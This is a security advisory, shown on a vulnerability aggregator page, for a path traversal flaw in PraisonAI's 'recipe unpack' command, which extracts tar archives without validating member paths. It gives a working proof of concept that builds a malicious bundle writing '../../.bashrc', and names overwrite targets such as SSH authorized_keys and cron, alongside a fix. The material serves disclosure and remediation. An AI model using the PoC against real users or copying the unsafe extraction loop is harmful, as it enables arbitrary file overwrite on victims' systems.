Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-99g3-w8gr-x37c

Опубликовано: 10 апр. 2026
Источник: github
Github: Прошло ревью
CVSS4: 9.4

Описание

PraisonAI vulnerable to arbitrary file write via path traversal in praisonai recipe unpack

FieldValue
SeverityCritical
TypePath traversal -- arbitrary file write via tar.extract() without member validation
Affectedsrc/praisonai/praisonai/cli/features/recipe.py:1170-1172

Summary

cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.

Details

The vulnerable code is in cli/features/recipe.py:1170-1172:

for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir)

The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.

The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.

# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest = str(dest_dir.resolve()) for member in tar.getmembers(): if os.path.isabs(member.name): raise RegistryError(...) if ".." in member.name.split("/"): raise RegistryError(...) resolved = os.path.realpath(os.path.join(dest, member.name)) if not resolved.startswith(dest + os.sep): raise RegistryError(...) tar.extractall(dest_dir)

PoC

Build a malicious bundle:

import tarfile, io, json manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo(name="manifest.json") info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) payload = b"export EVIL=1 # injected by malicious recipe\n" evil = tarfile.TarInfo(name="../../.bashrc") evil.size = len(payload) tar.addfile(evil, io.BytesIO(payload))

Trigger:

praisonai recipe unpack malicious.praison -o ./recipes # Expected: files written only under ./recipes/legit-recipe/ # Actual: .bashrc written two directories above the output dir

Impact

PathTraversal blocked?
praisonai recipe pull <name>Yes -- uses _safe_extractall
praisonai recipe publish <bundle>Yes -- uses _safe_extractall
praisonai recipe unpack <bundle>No -- raw tar.extract()

An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.

Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.

Remediation

Replace the raw extraction loop with _safe_extractall:

# cli/features/recipe.py:1170-1172 # Before: for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipe_dir) # After: from praisonai.recipe.registry import _safe_extractall _safe_extractall(tar, recipe_dir)

Affected paths

  • src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validation

Пакеты

Наименование

PraisonAI

pip
Затронутые версииВерсия исправления

>= 2.7.2, < 4.5.128

4.5.128

EPSS

Процентиль: 22%
0.00072
Низкий

9.4 Critical

CVSS4

Дефекты

CWE-22

Связанные уязвимости

nvd
5 дней назад

PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.

EPSS

Процентиль: 22%
0.00072
Низкий

9.4 Critical

CVSS4

Дефекты

CWE-22